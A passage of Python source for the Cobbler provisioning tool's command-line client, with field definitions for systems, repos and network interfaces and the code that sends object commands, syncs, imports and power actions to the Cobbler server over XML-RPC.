True, "", [e.value for e in enums.MirrorType], "str", ], [ "mirror_locally", True, 0, "Mirror locally", True, "Copy files or just reference the repo externally?", 0, "bool", ], ["name", "", 0, "Name", True, "Ex: f10-i386-updates", 0, "str"], [ "owners", "SETTINGS:default_ownership", 0, "Owners", True, "Owners list for authz_ownership (space delimited)", [], "list", ], [ "priority", 99, 0, "Priority", True, "Value for yum priorities plugin, if installed", 0, "int", ], [ "proxy", "SETTINGS:proxy_url_ext", "<<inherit>>", "Proxy information", True, "http://example.com:8080, or <<inherit>> to use proxy_url_ext from settings, blank or <<None>> for no proxy", 0, "str", ], [ "rpm_list", [], 0, "RPM List", True, "Mirror just these RPMs (yum only)", 0, "list", ], [ "yumopts", {}, 0, "Yum Options", True, "Options to write to yum config file", 0, "dict", ], [ "rsyncopts", "", 0, "Rsync Options", True, "Options to use with rsync repo", 0, "dict", ], ] SYSTEM_FIELDS = [ # non-editable in UI (internal) ["ctime", 0, 0, "", False, "", 0, "float"], ["depth", 2, 0, "", False, "", 0, "int"], ["ipv6_autoconfiguration", False, 0, "IPv6 Autoconfiguration", True, "", 0, "bool"], ["mtime", 0, 0, "", False, "", 0, "float"], [ "repos_enabled", False, 0, "Repos Enabled", True, "(re)configure local repos on this machine at next config update?", 0, "bool", ], ["uid", "", 0, "", False, "", 0, "str"], # editable in UI [ "autoinstall", "<<inherit>>", 0, "Automatic Installation Template", True, "Path to automatic installation template", 0, "str", ], [ "autoinstall_meta", {}, 0, "Automatic Installation Template Metadata", True, "Ex: dog=fang agent=86", 0, "dict", ], [ "boot_loaders", "<<inherit>>", "<<inherit>>", "Boot loaders", True, "Linux installation boot loaders", 0, "list", ], ["comment", "", 0, "Comment", True, "Free form text description", 0, "str"], [ "enable_ipxe", "<<inherit>>", 0, "Enable iPXE?", True, "Use iPXE instead of PXELINUX for advanced booting options", 0, "bool", ], ["gateway", "", 0, "Gateway", True, "", 0, "str"], ["hostname", "", 0, "Hostname", True, "", 0, "str"], ["image", None, 0, "Image", True, "Parent image (if not a profile)", 0, "str"], ["ipv6_default_device", "", 0, "IPv6 Default Device", True, "", 0, "str"], [ "kernel_options", {}, 0, "Kernel Options", True, "Ex: selinux=permissive", 0, "dict", ], [ "kernel_options_post", {}, 0, "Kernel Options (Post Install)", True, "Ex: clocksource=pit noapic", 0, "dict", ], ["name", "", 0, "Name", True, "Ex: vanhalen.example.org", 0, "str"], ["name_servers", [], 0, "Name Servers", True, "space delimited", 0, "list"], [ "name_servers_search", [], 0, "Name Servers Search Path", True, "space delimited", 0, "list", ], [ "netboot_enabled", True, 0, "Netboot Enabled", True, "PXE (re)install this machine at next boot?", 0, "bool", ], [ "next_server_v4", "<<inherit>>", 0, "Next Server (IPv4) Override", True, "See manpage or leave blank", 0, "str", ], [ "next_server_v6", "<<inherit>>", 0, "Next Server (IPv6) Override", True, "See manpage or leave blank", 0, "str", ], [ "filename", "<<inherit>>", "<<inherit>>", "DHCP Filename Override", True, "Use to boot non-default bootloaders", 0, "str", ], [ "owners", "<<inherit>>", 0, "Owners", True, "Owners list for authz_ownership (space delimited)", 0, "list", ], [ "power_address", "", 0, "Power Management Address", True, "Ex: power-device.example.org", 0, "str", ], [ "power_id", "", 0, "Power Management ID", True, "Usually a plug number or blade name, if power type requires it", 0, "str", ], ["power_pass", "", 0, "Power Management Password", True, "", 0, "str"], [ "power_type", "SETTINGS:power_management_default_type", 0, "Power Management Type", True, "Power management script to use", power_manager.get_power_types(), "str", ], ["power_user", "", 0, "Power Management Username", True, "", 0, "str"], [ "power_options", "", 0, "Power Management Options", True, "Additional options, to be passed to the fencing agent", 0, "str", ], [ "power_identity_file", "", 0, "Power Identity File", True, "Identity file to be passed to the fencing agent (ssh key)", 0, "str", ], ["profile", None, 0, "Profile", True, "Parent profile", [], "str"], ["proxy", "<<inherit>>", 0, "Internal Proxy", True, "Internal proxy URL", 0, "str"], [ "redhat_management_key", "<<inherit>>", 0, "Redhat Management Key", True, "Registration key for RHN, Spacewalk, or Satellite", 0, "str", ], [ "server", "<<inherit>>", 0, "Server Override", True, "See manpage or leave blank", 0, "str", ], [ "status", "production", 0, "Status", True, "System status", ["", "development", "testing", "acceptance", "production"], "str", ], [ "template_files", {}, 0, "Template Files", True, "File mappings for built-in configuration management", 0, "dict", ], [ "virt_auto_boot", "<<inherit>>", 0, "Virt Auto Boot", True, "Auto boot this VM?", 0, "bool", ], ["virt_cpus", "<<inherit>>", 0, "Virt CPUs", True, "", 0, "int"], [ "virt_disk_driver", "<<inherit>>", 0, "Virt Disk Driver Type", True, "The on-disk format for the virtualization disk", [e.value for e in enums.VirtDiskDrivers], "str", ], [ "virt_file_size", "<<inherit>>", 0.0, "Virt File Size(GB)", True, "", 0.0, "float", ], [ "virt_path", "<<inherit>>", 0, "Virt Path", True, "Ex: /directory or VolGroup00", 0, "str", ], [ "virt_pxe_boot", 0, 0, "Virt PXE Boot", True, "Use PXE to build this VM?", 0, "bool", ], ["virt_ram", "<<inherit>>", 0, "Virt RAM (MB)", True, "", 0, "int"], [ "virt_type", "<<inherit>>", 0, "Virt Type", True, "Virtualization technology to use", [e.value for e in enums.VirtType], "str", ], ["serial_device", "", 0, "Serial Device #", True, "Serial Device Number", 0, "int"], [ "serial_baud_rate", "", 0, "Serial Baud Rate", True, "Serial Baud Rate", ["", "2400", "4800", "9600", "19200", "38400", "57600", "115200"], "int", ], ["display_name", "", "", "Display Name", True, "Ex: My System", [], "str"], ] # network interface fields are in a separate list because a system may contain # several network interfaces and thus several values for each one of those fields # (1-N cardinality), while it may contain only one value for other fields # (1-1 cardinality). This difference requires special handling. NETWORK_INTERFACE_FIELDS = [ [ "bonding_opts", "", 0, "Bonding Opts", True, "Should be used with --interface", 0, "str", ], [ "bridge_opts", "", 0, "Bridge Opts", True, "Should be used with --interface", 0, "str", ], [ "cnames", [], 0, "CNAMES", True, "Cannonical Name Records, should be used with --interface, In quotes, space delimited", 0, "list", ], [ "connected_mode", False, 0, "InfiniBand Connected Mode", True, "Should be used with --interface", 0, "bool", ], ["dhcp_tag", "", 0, "DHCP Tag", True, "Should be used with --interface", 0, "str"], ["dns_name", "", 0, "DNS Name", True, "Should be used with --interface", 0, "str"], [ "if_gateway", "", 0, "Per-Interface Gateway", True, "Should be used with --interface", 0, "str", ], [ "interface_master", "", 0, "Master Interface", True, "Should be used with --interface", 0, "str", ], [ "interface_type", "na", 0, "Interface Type", True, "Should be used with --interface", [ "na", "bond", "bond_slave", "bridge", "bridge_slave", "bonded_bridge_slave", "bmc", "infiniband", ], "str", ], [ "ip_address", "", 0, "IP Address", True, "Should be used with --interface", 0, "str", ], [ "ipv6_address", "", 0, "IPv6 Address", True, "Should be used with --interface", 0, "str", ], [ "ipv6_default_gateway", "", 0, "IPv6 Default Gateway", True, "Should be used with --interface", 0, "str", ], ["ipv6_mtu", "", 0, "IPv6 MTU", True, "Should be used with --interface", 0, "str"], [ "ipv6_prefix", "", 0, "IPv6 Prefix", True, "Should be used with --interface", 0, "str", ], [ "ipv6_secondaries", [], 0, "IPv6 Secondaries", True, "Space delimited. Should be used with --interface", 0, "list", ], [ "ipv6_static_routes", [], 0, "IPv6 Static Routes", True, "Should be used with --interface", 0, "list", ], [ "mac_address", "", 0, "MAC Address", True, '(Place "random" in this field for a random MAC Address.)', 0, "str", ], [ "management", False, 0, "Management Interface", True, "Is this the management interface? Should be used with --interface", 0, "bool", ], ["mtu", "", 0, "MTU", True, "", 0, "str"], [ "netmask", "", 0, "Subnet Mask", True, "Should be used with --interface", 0, "str", ], [ "static", False, 0, "Static", True, "Is this interface static? Should be used with --interface", 0, "bool", ], [ "static_routes", [], 0, "Static Routes", True, "Should be used with --interface", 0, "list", ], [ "virt_bridge", "", 0, "Virt Bridge", True, "Should be used with --interface", 0, "str", ], ] SETTINGS_FIELDS = [ ["name", "", "", "Name", True, "Ex: server", 0, "str"], ["value", "", "", "Value", True, "Ex: 127.0.0.1", 0, "str"], ] #################################################### def to_string_from_fields(item_dict, fields, interface_fields=None) -> str: """ item_dict is a dictionary, fields is something like item_distro.FIELDS :param item_dict: The dictionary representation of a Cobbler item. :param fields: This is the list of fields a Cobbler item has. :param interface_fields: This is the list of fields from a network interface of a system. This is optional. :return: The string representation of a Cobbler item with all its values. """ buf = "" keys = [] for elem in fields: keys.append((elem[0], elem[3], elem[4])) keys.sort() buf += f"{'Name':<30} : {item_dict['name']}\n" for (k, nicename, editable) in keys: # FIXME: supress fields users don't need to see? # FIXME: interfaces should be sorted # FIXME: print ctime, mtime nicely if not editable: continue if k != "name": # FIXME: move examples one field over, use description here. buf += f"{nicename:<30} : {item_dict[k]}\n" # somewhat brain-melting special handling to print the dicts # inside of the interfaces more neatly. if "interfaces" in item_dict and interface_fields is not None: keys = [] for elem in interface_fields: keys.append((elem[0], elem[3], elem[4])) keys.sort() for iname in list(item_dict["interfaces"].keys()): # FIXME: inames possibly not sorted buf += f"{'Interface ===== ':<30} : {iname}\n" for (k, nicename, editable) in keys: if editable: buf += f"{nicename:<30} : {item_dict['interfaces'][iname].get(k, '')}\n" return buf def report_items(remote, otype: str): """ Return all items for a given collection. :param remote: The remote to use as the query-source. The remote to use as the query-source. :param otype: The object type to query. """ if otype == "setting": items = remote.get_settings() keys = list(items.keys()) keys.sort() for key in keys: item = {"name": key, "value": items[key]} report_item(remote, otype, item=item) elif otype == "signature": items = remote.get_signatures() total_breeds = 0 total_sigs = 0 if "breeds" in items: print("Currently loaded signatures:") bkeys = list(items["breeds"].keys()) bkeys.sort() total_breeds = len(bkeys) for breed in bkeys: total_sigs += report_single_breed(breed, items) print( f"\n{total_breeds:d} breeds with {total_sigs:d} total signatures loaded" ) else: print("No breeds found in the signature, a signature update is recommended") return 1 else: items = remote.get_items(otype) for item in items: report_item(remote, otype, item=item) def report_single_breed(name: str, items: dict) -> int: """ Helper function which prints a single signature breed list to the terminal. """ new_sigs = 0 print(f"{name}:") oskeys = list(items["breeds"][name].keys()) oskeys.sort() if len(oskeys) > 0: new_sigs = len(oskeys) for osversion in oskeys: print(f"\t{osversion}") else: print("\t(none)") return new_sigs def report_item(remote, otype: str, item=None, name=None): """ Return a single item in a given collection. Either this is an item object or this method searches for a name. :param remote: The remote to use as the query-source. :param otype: The object type to query. :param item: The item to display :param name: The name to search for and display. """ if item is None: if otype == "setting": cur_settings = remote.get_settings() try: item = {"name": name, "value": cur_settings[name]} except Exception: print(f"Setting not found: {name}") return 1 elif otype == "signature": items = remote.get_signatures() total_sigs = 0 if "breeds" in items: print("Currently loaded signatures:") if name in items["breeds"]: total_sigs += report_single_breed(name, items) print(f"\nBreed '{name}' has {total_sigs:d} total signatures") else: print(f"No breed named '{name}' found") return 1 else: print( "No breeds found in the signature, a signature update is recommended" ) return 1 return else: item = remote.get_item(otype, name) if item == "~": print(f"No {otype} found: {name}") return 1 if otype == "distro": data = to_string_from_fields(item, DISTRO_FIELDS) elif otype == "profile": data = to_string_from_fields(item, PROFILE_FIELDS) elif otype == "system": data = to_string_from_fields(item, SYSTEM_FIELDS, NETWORK_INTERFACE_FIELDS) elif otype == "repo": data = to_string_from_fields(item, REPO_FIELDS) elif otype == "image": data = to_string_from_fields(item, IMAGE_FIELDS) elif otype == "menu": data = to_string_from_fields(item, MENU_FIELDS) elif otype == "setting": data = f"{item['name']:<40}: {item['value']}" else: data = "Unknown item type selected!" print(data) def list_items(remote, otype): """ List all items of a given object type and print it to stdout. :param remote: The remote to use as the query-source. :param otype: The object type to query. """ items = remote.get_item_names(otype) items.sort() for item in items: print(f" {item}") def n2s(data): """ Return spaces for None :param data: The data to check for. :return: The data itself or an empty string. """ if data is None: return "" return data def opt(options, k, defval=""): """ Returns an option from an Optparse values instance :param options: The options object to search in. :param k: The key which is in the optparse values instance. :param defval: The default value to return. :return: The value for the specified key. """ try: data = getattr(options, k) except Exception: # FIXME: debug only # traceback.print_exc() return defval return n2s(data) def _add_parser_option_from_field(parser, field, settings): """ Add options from a field dynamically to an optparse instance. :param parser: The optparse instance to add the options to. :param field: The field to parse. :param settings: Global cobbler settings as returned from ``CollectionManager.settings()`` """ # extract data from field dictionary name = field[0] default = field[1] if isinstance(default, str) and default.startswith("SETTINGS:"): setting_name = default.replace("SETTINGS:", "", 1) default = settings[setting_name] description = field[3] tooltip = field[5] choices = field[6] if choices and default not in choices: raise Exception( f"field {name} default value ({default}) is not listed in choices ({str(choices)})" ) if tooltip != "": description += f" ({tooltip})" # generate option string option_string = f"--{name.replace('_', '-')}" # add option to parser if isinstance(choices, list) and len(choices) != 0: description += f" (valid options: {','.join(choices)})" parser.add_option(option_string, dest=name, help=description, choices=choices) else: parser.add_option(option_string, dest=name, help=description) def add_options_from_fields( object_type, parser, fields, network_interface_fields, settings, object_action ): """ Add options to the command line from the fields queried from the Cobbler server. :param object_type: The object type to add options for. :param parser: The optparse instance to add options to. :param fields: The list of fields to add options for. :param network_interface_fields: The list of network interface fields if the object type is a system. :param settings: Global cobbler settings as returned from ``CollectionManager.settings()`` :param object_action: The object action to add options for. May be "add", "edit", "find", "copy", "rename", "remove". If none of these options is given then this method does nothing. """ if object_action in ["add", "edit", "find", "copy", "rename"]: for field in fields: _add_parser_option_from_field(parser, field, settings) # system object if object_type == "system": for field in network_interface_fields: _add_parser_option_from_field(parser, field, settings) parser.add_option( "--interface", dest="interface", help="the interface to operate on (can only be " "specified once per command line)", ) if object_action in ["add", "edit"]: parser.add_option( "--delete-interface", dest="delete_interface", action="store_true" ) parser.add_option("--rename-interface", dest="rename_interface") if object_action in ["copy", "rename"]: parser.add_option("--newname", help="new object name") if object_action not in ["find"] and object_type != "setting": parser.add_option( "--in-place", action="store_true", dest="in_place", help="edit items in kopts or autoinstall without clearing the other items", ) elif object_action == "remove": parser.add_option("--name", help=f"{object_type} name to remove") parser.add_option( "--recursive", action="store_true", dest="recursive", help="also delete child objects", ) def get_comma_separated_args( option: optparse.Option, opt_str, value: str, parser: optparse.OptionParser ): """ Simple callback function to achieve option split with comma. Reference for the method signature can be found at: https://docs.python.org/3/library/optparse.html#defining-a-callback-option :param option: The option the callback is executed for :param opt_str: Unused for this callback function. Would be the extended option if the user used the short version. :param value: The value which should be split by comma. :param parser: The optparse instance which the callback should be added to. """ # TODO: Migrate to argparse if not isinstance(option, optparse.Option): raise optparse.OptionValueError("Option is not an optparse.Option object!") if not isinstance(value, str): raise optparse.OptionValueError("Value is not a string!") if not isinstance(parser, optparse.OptionParser): raise optparse.OptionValueError( "Parser is not an optparse.OptionParser object!" ) setattr(parser.values, str(option.dest), value.split(",")) class CobblerCLI: """ Main CLI Class which contains the logic to communicate with the Cobbler Server. """ def __init__(self, cliargs): """ The constructor to create a Cobbler CLI. """ # Load server ip and ports from local config self.url_cobbler_api = utils.local_get_cobbler_api_url() self.url_cobbler_xmlrpc = utils.local_get_cobbler_xmlrpc_url() # FIXME: allow specifying other endpoints, and user+pass self.parser = optparse.OptionParser() self.remote = xmlrpc.client.Server(self.url_cobbler_api) self.shared_secret = utils.get_shared_secret() self.args = cliargs def start_task(self, name: str, options: dict) -> str: r""" Start an asynchronous task in the background. :param name: "background\_" % name function must exist in remote.py. This function will be called in a subthread. :param options: Dictionary of options passed to the newly started thread :return: Id of the newly started task """ options = utils.strip_none(vars(options), omit_none=True) background_fn = getattr(self.remote, f"background_{name}") return background_fn(options, self.token) def get_object_type(self, args) -> Optional[str]: """ If this is a CLI command about an object type, e.g. "cobbler distro add", return the type, like "distro" :param args: The args from the CLI. :return: The object type or None """ if len(args) < 2: return None if args[1] in OBJECT_TYPES: return args[1] return None def get_object_action(self, object_type, args) -> Optional[str]: """ If this is a CLI command about an object type, e.g. "cobbler distro add", return the action, like "add" :param object_type: The object type. :param args: The args from the CLI. :return: The action or None. """ if object_type is None or len(args) < 3: return None if args[2] in OBJECT_ACTIONS_MAP[object_type]: return args[2] return None def get_direct_action(self, object_type, args) -> Optional[str]: """ If this is a general command, e.g. "cobbler hardlink", return the action, like "hardlink" :param object_type: Must be None or None is returned. :param args: The arg from the CLI. :return: The action key, "version" or None. """ if object_type is not None: return None if len(args) < 2: return None if args[1] == "--help": return None if args[1] == "--version": return "version" return args[1] def check_setup(self) -> int: """ Detect permissions and service accessibility problems and provide nicer error messages for them. """ with xmlrpc.client.ServerProxy(self.url_cobbler_xmlrpc) as xmlrpc_server: try: xmlrpc_server.ping() except Exception as exception: print( f"cobblerd does not appear to be running/accessible: {repr(exception)}", file=sys.stderr, ) return 411 with xmlrpc.client.ServerProxy(self.url_cobbler_api) as xmlrpc_server: try: xmlrpc_server.ping() except Exception: print( "httpd does not appear to be running and proxying Cobbler, or SELinux is in the way. Original " "traceback:", file=sys.stderr, ) traceback.print_exc() return 411 if not os.path.exists("/var/lib/cobbler/web.ss"): print( "Missing login credentials file. Has cobblerd failed to start?", file=sys.stderr, ) return 411 if not os.access("/var/lib/cobbler/web.ss", os.R_OK): print( "User cannot run command line, need read access to /var/lib/cobbler/web.ss", file=sys.stderr, ) return 411 return 0 def run(self, args) -> int: """ Process the command line and do what the user asks. :param args: The args of the CLI """ self.token = self.remote.login("", self.shared_secret) object_type = self.get_object_type(args) object_action = self.get_object_action(object_type, args) direct_action = self.get_direct_action(object_type, args) try: if object_type is not None: if object_action is not None: return self.object_command(object_type, object_action) return self.print_object_help(object_type) if direct_action is not None: return self.direct_command(direct_action) return self.print_help() except xmlrpc.client.Fault as err: if err.faultString.find("cobbler.cexceptions.CX") != -1: print(self.cleanup_fault_string(err.faultString)) else: print("### ERROR ###") print( "Unexpected remote error, check the server side logs for further info" ) print(err.faultString) return 1 def cleanup_fault_string(self, fault_str: str) -> str: """ Make a remote exception nicely readable by humans so it's not evident that is a remote fault. Users should not have to understand tracebacks. :param fault_str: The stacktrace to niceify. :return: A nicer error messsage. """ if fault_str.find(">:") != -1: (_, rest) = fault_str.split(">:", 1) if rest.startswith('"') or rest.startswith("'"): rest = rest[1:] if rest.endswith('"') or rest.endswith("'"): rest = rest[:-1] return rest return fault_str def get_fields(self, object_type: str) -> list: """ For a given name of an object type, return the FIELDS data structure. :param object_type: The object to return the fields of. :return: The fields or None """ if object_type == "distro": return DISTRO_FIELDS if object_type == "profile": return PROFILE_FIELDS if object_type == "system": return SYSTEM_FIELDS if object_type == "repo": return REPO_FIELDS if object_type == "image": return IMAGE_FIELDS if object_type == "menu": return MENU_FIELDS if object_type == "setting": return SETTINGS_FIELDS return [] def object_command(self, object_type: str, object_action: str) -> int: """ Process object-based commands such as "distro add" or "profile rename" :param object_type: The object type to execute an action for. :param object_action: The action to execute. :return: Depending on the object and action. :raises NotImplementedError: :raises RuntimeError: """ # if assigned, we must tail the logfile task_id = INVALID_TASK settings = self.remote.get_settings() fields = self.get_fields(object_type) network_interface_fields = None if object_type == "system": network_interface_fields = NETWORK_INTERFACE_FIELDS if object_action in ["add", "edit", "copy", "rename", "find", "remove"]: add_options_from_fields( object_type, self.parser, fields, network_interface_fields, settings, object_action, ) elif object_action in ["list", "autoadd"]: pass elif object_action not in ("reload", "update"): self.parser.add_option("--name", dest="name", help="name of object") elif object_action == "reload": self.parser.add_option( "--filename", dest="filename", help="filename to load data from" ) (options, _) = self.parser.parse_args(self.args) # the first three don't require a name if object_action == "report": if options.name is not None: report_item(self.remote, object_type, None, options.name) else: report_items(self.remote, object_type) elif object_action == "list": list_items(self.remote, object_type) elif object_action == "find": items = self.remote.find_items( object_type, utils.strip_none(vars(options), omit_none=True), "name", False, ) for item in items: print(item) elif object_action == "autoadd" and object_type == "repo": try: self.remote.auto_add_repos(self.token) except xmlrpc.client.Fault as err: (_, emsg) = err.faultString.split(":", 1) print(f"exception on server: {emsg}") return 1 elif object_action in OBJECT_ACTIONS: if opt(options, "name") == "" and object_action not in ("reload", "update"): print("--name is required") return 1 if object_action in ["add", "edit", "copy", "rename", "remove"]: try: if object_type == "setting": settings = self.remote.get_settings() if options.value is None: raise RuntimeError( "You must specify a --value when editing a setting" ) if not settings.get("allow_dynamic_settings", False): raise RuntimeError( "Dynamic settings changes are not enabled. Change the " "allow_dynamic_settings to True and restart cobblerd to enable dynamic " "settings changes" ) if options.name == "allow_dynamic_settings": raise RuntimeError("Cannot modify that setting live") if self.remote.modify_setting( options.name, options.value, self.token ): raise RuntimeError("Changing the setting failed") else: self.remote.xapi_object_edit( object_type, options.name, object_action, utils.strip_none(vars(options), omit_none=True), self.token, ) except xmlrpc.client.Fault as error: (_, emsg) = error.faultString.split(":", 1) print(f"exception on server: {emsg}") return 1 except RuntimeError as error: print(error.args[0]) return 1 elif object_action == "get-autoinstall": if object_type == "profile": data = self.remote.generate_profile_autoinstall(options.name) elif object_type == "system": data = self.remote.generate_system_autoinstall(options.name) else: print( 'Invalid object type selected! Allowed are "profile" and "system".' ) return 1 print(data) elif object_action == "dumpvars": if object_type == "profile": data = self.remote.get_blended_data(options.name, "") elif object_type == "system": data = self.remote.get_blended_data("", options.name) else: print( 'Invalid object type selected! Allowed are "profile" and "system".' ) return 1 # FIXME: pretty-printing and sorting here keys = list(data.keys()) keys.sort() for key in keys: print(f"{key}: {data[key]}") elif object_action in ["poweron", "poweroff", "powerstatus", "reboot"]: power = { "power": object_action.replace("power", ""), "systems": [options.name], } task_id = self.remote.background_power_system(power, self.token) elif object_action == "update": task_id = self.remote.background_signature_update( utils.strip_none(vars(options), omit_none=True), self.token ) elif object_action == "reload": filename = opt( options, "filename", "/var/lib/cobbler/distro_signatures.json" ) try: signatures.load_signatures(filename, cache=True) except Exception: print( f"There was an error loading the signature data in {filename}." ) print( "Please check the JSON file or run 'cobbler signature update'." ) return 1 else: print("Signatures were successfully loaded") else: raise NotImplementedError() else: raise NotImplementedError() # FIXME: add tail/polling code here if task_id != INVALID_TASK: self.print_task(task_id) return self.follow_task(task_id) return 0 def direct_command(self, action_name: str): """ Process non-object based commands like "sync" and "hardlink". :param action_name: The action to execute. :return: Depending on the action. """ task_id = INVALID_TASK self.parser.set_usage(f"Usage: %prog {action_name} [options]") if action_name == "buildiso": defaultiso = os.path.join(os.getcwd(), "generated.iso") self.parser.add_option( "--iso", dest="iso", default=defaultiso, help="(OPTIONAL) output ISO to this file", ) self.parser.add_option( "--profiles", dest="profiles", help="(OPTIONAL) use these profiles only" ) self.parser.add_option( "--systems", dest="systems", help="(OPTIONAL) use these systems only" ) self.parser.add_option( "--tempdir", dest="buildisodir", help="(OPTIONAL) working directory" ) self.parser.add_option( "--distro", dest="distro", help="Must be specified to choose the Kernel and Initrd for the ISO being built.", ) self.parser.add_option( "--standalone", dest="standalone", action="store_true", help="(OPTIONAL) creates a standalone ISO with all required distro files, " "but without any added repos", ) self.parser.add_option( "--airgapped", dest="airgapped", action="store_true", help="(OPTIONAL) implies --standalone but additionally includes the repository files into ISO", ) self.parser.add_option( "--source", dest="source", help="(OPTIONAL) used with --standalone/--airgapped to specify a source for the distribution files", ) self.parser.add_option( "--exclude-dns", dest="exclude_dns", action="store_true", help="(OPTIONAL) prevents addition of name server addresses to the kernel boot options", ) self.parser.add_option( "--mkisofs-opts", dest="mkisofs_opts", help="(OPTIONAL) extra options for xorrisofs", ) (options, _) = self.parser.parse_args(self.args) task_id = self.start_task("buildiso", options) elif action_name == "replicate": self.parser.add_option( "--master", dest="master", help="Cobbler server to replicate from." ) self.parser.add_option("--port", dest="port", help="Remote port.") self.parser.add_option( "--distros", dest="distro_patterns", help="patterns of distros to replicate", ) self.parser.add_option( "--profiles", dest="profile_patterns", help="patterns of profiles to replicate", ) self.parser.add_option( "--systems", dest="system_patterns", help="patterns of systems to replicate", ) self.parser.add_option( "--repos", dest="repo_patterns", help="patterns of repos to replicate" ) self.parser.add_option( "--image", dest="image_patterns", help="patterns of images to replicate" ) self.parser.add_option( "--omit-data", dest="omit_data", action="store_true", help="do not rsync data", ) self.parser.add_option( "--sync-all", dest="sync_all", action="store_true", help="sync all data" ) self.parser.add_option( "--prune", dest="prune", action="store_true", help="remove objects (of all types) not found on the master", ) self.parser.add_option( "--use-ssl", dest="use_ssl", action="store_true", help="use ssl to access the Cobbler master server api", ) (options, _) = self.parser.parse_args(self.args) task_id = self.start_task("replicate", options) elif action_name == "aclsetup": self.parser.add_option( "--adduser", dest="adduser", help="give acls to this user" ) self.parser.add_option( "--addgroup", dest="addgroup", help="give acls to this group" ) self.parser.add_option( "--removeuser", dest="removeuser", help="remove acls from this user" ) self.parser.add_option( "--removegroup", dest="removegroup", help="remove acls from this group" ) (options, _) = self.parser.parse_args(self.args) task_id = self.start_task("aclsetup", options) elif action_name == "version": version = self.remote.extended_version() print(f"Cobbler {version['version']}") print(f" source: {version['gitstamp']}, {version['gitdate']}") print(f" build time: {version['builddate']}") elif action_name == "hardlink": (options, _) = self.parser.parse_args(self.args) task_id = self.start_task("hardlink", options) elif action_name == "status": self.parser.parse_args(self.args) print(self.remote.get_status("text", self.token)) elif action_name == "validate-autoinstalls": (options, _) = self.parser.parse_args(self.args) task_id = self.start_task("validate_autoinstall_files", options) elif action_name == "import": self.parser.add_option( "--arch", dest="arch", help="OS architecture being imported" ) self.parser.add_option( "--breed", dest="breed", help="the breed being imported" ) self.parser.add_option( "--os-version", dest="os_version", help="the version being imported" ) self.parser.add_option( "--path", dest="path", help="local path or rsync location" ) self.parser.add_option("--name", dest="name", help="name, ex 'RHEL-5'") self.parser.add_option( "--available-as", dest="available_as", help="tree is here, don't mirror" ) self.parser.add_option( "--autoinstall", dest="autoinstall_file", help="assign this autoinstall file", ) self.parser.add_option( "--rsync-flags", dest="rsync_flags", help="pass additional flags to rsync", ) (options, _) = self.parser.parse_args(self.args) if options.path and "rsync://" not in options.path: # convert relative path to absolute path options.path = os.path.abspath(options.path) task_id = self.start_task("import", options) elif action_name == "reposync": self.parser.add_option( "--only", dest="only", help="update only this repository name" ) self.parser.add_option( "--tries", dest="tries", help="try each repo this many times", default=1, type="int", ) self.parser.add_option( "--no-fail", dest="nofail", help="don't stop reposyncing if a failure occurs", action="store_true", ) (options, args) = self.parser.parse_args(self.args) task_id = self.start_task("reposync", options) elif action_name == "check": results = self.remote.check(self.token) counter = 0 if len(results) > 0: print( "The following are potential configuration items that you may want to fix:\n" ) for result in results: counter += 1 print(f"{counter}: {result}") print( "\nRestart cobblerd and then run 'cobbler sync' to apply changes." ) else: print("No configuration problems found. All systems go.") elif action_name == "sync": self.parser.add_option( "--verbose", dest="verbose", action="store_true", help="run sync with more output", ) self.parser.add_option( "--dhcp", dest="dhcp", action="store_true", help="write DHCP config files and restart service", ) self.parser.add_option( "--dns", dest="dns", action="store_true", help="write DNS config files and restart service", ) self.parser.add_option( "--systems", dest="systems", type="string", action="callback", callback=get_comma_separated_args, help="run a sync only on specified systems", ) # ToDo: Add tftp syncing when it's cleaned up (options, args) = self.parser.parse_args(self.args) if options.systems is not None: task_id = self.start_task("syncsystems", options) else: task_id = self.start_task("sync", options) elif action_name == "report": (options, args) = self.parser.parse_args(self.args) print("distros:\n==========") report_items(self.remote, "distro") print("\nprofiles:\n==========") report_items(self.remote, "profile") print("\nsystems:\n==========") report_items(self.remote, "system") print("\nrepos:\n==========") report_items(self.remote, "repo") print("\nimages:\n==========") report_items(self.remote, "image") print("\nmenus:\n==========") report_items(self.remote, "menu") elif action_name == "list": # no tree view like 1.6? This is more efficient remotely # for large configs and prevents xfering the whole config # though we could consider that... (options, args) = self.parser.parse_args(self.args) print("distros:") list_items(self.remote, "distro") print("\nprofiles:") list_items(self.remote, "profile") print("\nsystems:") list_items(self.remote, "system") print("\nrepos:") list_items(self.remote, "repo") print("\nimages:") list_items(self.remote, "image") print("\nmenus:") list_items(self.remote, "menu") elif action_name == "mkloaders": (options, _) = self.parser.parse_args(self.args) task_id = self.start_task("mkloaders", options) else: print(f"No such command: {action_name}") return 1 # FIXME: add tail/polling code here if task_id != INVALID_TASK: self.print_task(task_id) return self.follow_task(task_id) return 0 def print_task(self, task_id): """ Pretty print a task executed on the server. This prints to stdout. :param task_id: The id of the task to be pretty printed. """ print(f"task started: {task_id}") events = self.remote.get_events() (etime, name, _, _) = events[task_id] atime = time.asctime(time.localtime(etime)) print(f"task started (id={name}, time={atime})") def follow_task(self, task_id): """ Parse out this task's specific messages from the global log :param task_id: The id of the task to follow. """ logfile = "/var/log/cobbler/cobbler.log" # adapted from: https://code.activestate.com/recipes/157035/ with open(logfile, "r", encoding="UTF-8") as file: # Find the size of the file and move to the end # st_results = os.stat(filename) # st_size = st_results[6] # file.seek(st_size) while 1: where = file.tell() line = file.readline() if not line.startswith("[" + task_id + "]"): continue if line.find("### TASK COMPLETE ###") != -1: print("*** TASK COMPLETE ***") return 0 if line.find("### TASK FAILED ###") != -1: print("!!! TASK FAILED !!!") return 1 if not line: time.sleep(1) file.seek(where) else: if line.find(" | "): line = line.split(" | ")[-1] print(line, end="") def print_object_help(self, object_type) -> int: """ Prints the subcommands for a given object, e.g. "cobbler distro --help" :param object_type: The object type to print the help for. """ commands = OBJECT_ACTIONS_MAP[object_type] commands.sort() print("usage\n=====") for command in commands: print(f"cobbler {object_type} {command}") return 2 def print_help(self) -> int: """ Prints general-top level help, e.g. "cobbler --help" or "cobbler" or "cobbler command-does-not-exist" """ print("usage\n=====") print("cobbler <distro|profile|system|repo|image|menu> ... ") print( " [add|edit|copy|get-autoinstall*|list|remove|rename|report] [options|--help]" ) print("cobbler setting [edit|report]") print(f"cobbler <{'|'.join(DIRECT_ACTIONS)}> [options|--help]") return 2 def main() -> int: """ CLI entry point """ cli = CobblerCLI(sys.argv) return_code = cli.check_setup() if return_code != 0: return return_code return_code = cli.run(sys.argv) if return_code is None: return 0 return return_code if __name__ == "__main__": sys.exit(main())
74,079
Python
.py
2,385
21.590776
119
0.509626
cobbler/cobbler
2,597
653
318
GPL-2.0
